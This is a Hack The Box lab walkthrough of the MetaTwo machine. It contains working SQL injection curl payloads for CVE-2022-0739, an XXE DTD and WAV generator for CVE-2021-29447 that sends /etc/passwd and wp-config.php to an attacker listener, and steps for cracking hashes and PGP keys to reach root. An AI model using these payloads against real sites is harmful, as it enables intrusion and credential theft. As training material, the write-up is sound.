Overview
Platform: Hack The Box
Machine: MetaTwo
Purpose: CJCA Preparation
Target: 10.129.228.95
The target IP may change after restarting the machine. Replace it where needed.
1. Reconnaissance
Set the target IP and confirm connectivity:
export IP=10.129.228.95
ping -c4 $IPRun a full TCP scan:
sudo nmap -p- --min-rate 1000 -T4 $IP -Pn -oN metatwo_allports.txtOpen ports:
21/tcp FTP
22/tcp SSH
80/tcp HTTP
Enumerate the discovered services:
sudo nmap -sC -sV -p21,22,80 $IP -Pn -oN metatwo_services.txtKey results:
21/tcp open ftp
22/tcp open ssh OpenSSH 8.4p1 Debian
80/tcp open http nginx 1.18.0
The web server redirected to metapress.htb. Add the
hostnames locally:
echo "$IP metapress.htb ftp.metapress.htb" | sudo tee -a /etc/hostsFingerprint the application:
whatweb http://metapress.htb
wpscan --url http://metapress.htb --enumerate u,vp --plugins-detection passiveImportant findings:
WordPress 5.6.2
PHP 8.0.24
Users: admin, manager
2. BookingPress SQL Injection
The /events/ page referenced the BookingPress
plugin:
curl -s http://metapress.htb/events/ -o events.html
grep -i "wp-content/plugins" events.html
curl -s http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt | grep -i "Stable tag"Installed version:
BookingPress Appointment Booking 1.0.10
This version is vulnerable to CVE-2022-0739, an unauthenticated SQL injection in the following AJAX action:
bookingpress_front_get_category_services
Extract a current nonce from the events page:
NONCE=$(grep -oP "_wpnonce:'\K[^']+" events.html | head -1)
echo "$NONCE"Confirm the normal AJAX request:
curl -s -X POST http://metapress.htb/wp-admin/admin-ajax.php \
-d "action=bookingpress_front_get_category_services" \
-d "category_id=1" \
-d "total_service=1" \
-d "_wpnonce=$NONCE"Confirm SQL injection and determine the UNION structure:
curl -s -X POST http://metapress.htb/wp-admin/admin-ajax.php \
-d "action=bookingpress_front_get_category_services" \
-d "category_id=1" \
-d "_wpnonce=$NONCE" \
--data-urlencode "total_service=1) UNION ALL SELECT @@VERSION,2,3,4,5,6,7,count(*),9 FROM wp_users-- -"The response confirmed:
MariaDB 10.5.15
9 UNION columns
2 WordPress users
Dump the WordPress usernames, emails, and password hashes:
curl -s -X POST http://metapress.htb/wp-admin/admin-ajax.php \
-d "action=bookingpress_front_get_category_services" \
-d "category_id=1" \
-d "_wpnonce=$NONCE" \
--data-urlencode "total_service=1) UNION ALL SELECT user_login,user_email,user_pass,NULL,NULL,NULL,NULL,NULL,NULL FROM wp_users-- -"Recovered accounts:
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Save and crack the hashes:
cat > wp_hashes_named.txt <<'HASHES'
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
HASHES
sudo john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass wp_hashes_named.txt
sudo john --show --format=phpass wp_hashes_named.txtRecovered WordPress credentials:
manager:partylikearockstar
Log in at:
http://metapress.htb/wp-login.php
3. Authenticated XXE Through WAV Metadata
The manager account could upload WAV files through
Media → Add New. WordPress 5.6.2 is vulnerable to
CVE-2021-29447, allowing XXE through malicious WAV
metadata.
Identify the HTB VPN address:
ip -br addr show tun0For this session:
10.10.15.32
Set it locally:
export LHOST=10.10.15.32
mkdir -p ~/metatwo-xxe
cd ~/metatwo-xxeCreate an external DTD that reads /etc/passwd and sends
it back as compressed Base64 data:
cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://$LHOST:8000/?data=%file;'>">
%init;
%send;
EOFCreate a valid WAV file containing an iXML chunk that
loads the DTD:
python3 - <<EOF
import struct
lhost = "$LHOST"
def chunk(chunk_id, data):
padding = b"\x00" if len(data) % 2 else b""
return chunk_id + struct.pack("<I", len(data)) + data + padding
xml = f'''<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://{lhost}:8000/evil.dtd">
%remote;
]>
<ANY/>
'''.encode()
fmt = struct.pack("<HHIIHH", 1, 1, 8000, 16000, 2, 16)
wave_data = b"WAVE" + chunk(b"fmt ", fmt) + chunk(b"iXML", xml) + chunk(b"data", b"\x00\x00" * 8000)
with open("xxe.wav", "wb") as f:
f.write(b"RIFF" + struct.pack("<I", len(wave_data)) + wave_data)
EOFStart the callback server:
python3 -m http.server 8000Upload xxe.wav through the WordPress Media Library. A
successful callback looks like:
GET /evil.dtd HTTP/1.1
GET /?data=<encoded-data> HTTP/1.1
Decode the returned value:
echo '<encoded-data>' | python3 -c 'import sys,base64,zlib; print(zlib.decompress(base64.b64decode(sys.stdin.read().strip()),-15).decode())'The /etc/passwd output revealed an interactive local
user:
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
Change the DTD to read the WordPress configuration file:
cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://$LHOST:8000/?data=%file;'>">
%init;
%send;
EOFUpload xxe.wav again and decode the new callback.
Recovered database credentials:
Database: blog
Username: blog
Password: 635Aq@TdqrCwXFUZ
Host: localhost
Recovered FTP credentials:
Host: ftp.metapress.htb
Username: metapress.htb
Password: 9NYS_ii@FyL_p5M2NvJ
Base directory: blog/
4. FTP Enumeration and SSH Foothold
Connect to FTP:
ftp ftp.metapress.htbCredentials:
metapress.htb
9NYS_ii@FyL_p5M2NvJ
Enumerate the FTP root:
ls -la
Directories:
blog/
mailer/
Inspect the mailer application and download its PHP script:
cd mailer
ls -la
get send_email.php
bye
Review the file locally:
cat send_email.phpHardcoded SMTP credentials:
Username: jnelson@metapress.htb
Password: Cb4_JmWM8zUZWMu@Ys
The password was reused for the local jnelson
account:
ssh jnelson@$IPCredentials:
jnelson
Cb4_JmWM8zUZWMu@Ys
Confirm the shell and check sudo access:
id
sudo -ljnelson had no sudo permissions.
Retrieve the user flag and inspect the home directory:
cd /home/jnelson
cat user.txt
ls -laUser flag:
dd3a0b2e714c86ce5f685429405c0a7c
A hidden Passpie credential store was present:
.passpie/
5. Passpie Privilege Escalation
Enumerate the Passpie files:
find ~/.passpie -maxdepth 3 -type f -printf '%M %u %g %p\n'Important files:
~/.passpie/.keys
~/.passpie/ssh/root.pass
~/.passpie/ssh/jnelson.pass
The .keys file contained an encrypted PGP private key.
Copy it to the attack machine:
scp jnelson@$IP:/home/jnelson/.passpie/.keys passpie.keysBecause the file contains both public and private key blocks, isolate the private key:
sed -n '/-----BEGIN PGP PRIVATE KEY BLOCK-----/,/-----END PGP PRIVATE KEY BLOCK-----/p' \
passpie.keys > passpie_private.keyConvert it to a John-compatible hash:
gpg2john passpie_private.key > passpie.hashIf rockyou.txt is compressed, extract it first:
sudo gunzip -k /usr/share/wordlists/rockyou.txt.gzCrack the PGP key passphrase:
john --wordlist=/usr/share/wordlists/rockyou.txt passpie.hash
john --show passpie.hashRecovered Passpie passphrase:
blink182
Back on the target, export the stored credentials:
passpie export /tmp/passpie.txt
cat /tmp/passpie.txtEnter blink182 when prompted.
Recovered root password:
root:p7qfAZt4_A1xo_0x
Switch to root and retrieve the final flag:
su - root
cat /root/root.txtRoot flag:
48eee2869205437a7ad4b93e31a8df42
Attack Path Summary
Enumerated FTP, SSH, and HTTP.
Identified WordPress 5.6.2 and BookingPress 1.0.10.
Exploited CVE-2022-0739 to dump WordPress password hashes.
Cracked the
managerpassword and authenticated to WordPress.Exploited CVE-2021-29447 through a malicious WAV upload.
Read
wp-config.phpand recovered FTP credentials.Found hardcoded
jnelsoncredentials insend_email.php.Reused the password for SSH access.
Cracked the Passpie PGP key passphrase.
Exported the vault, recovered the root password, and obtained root access.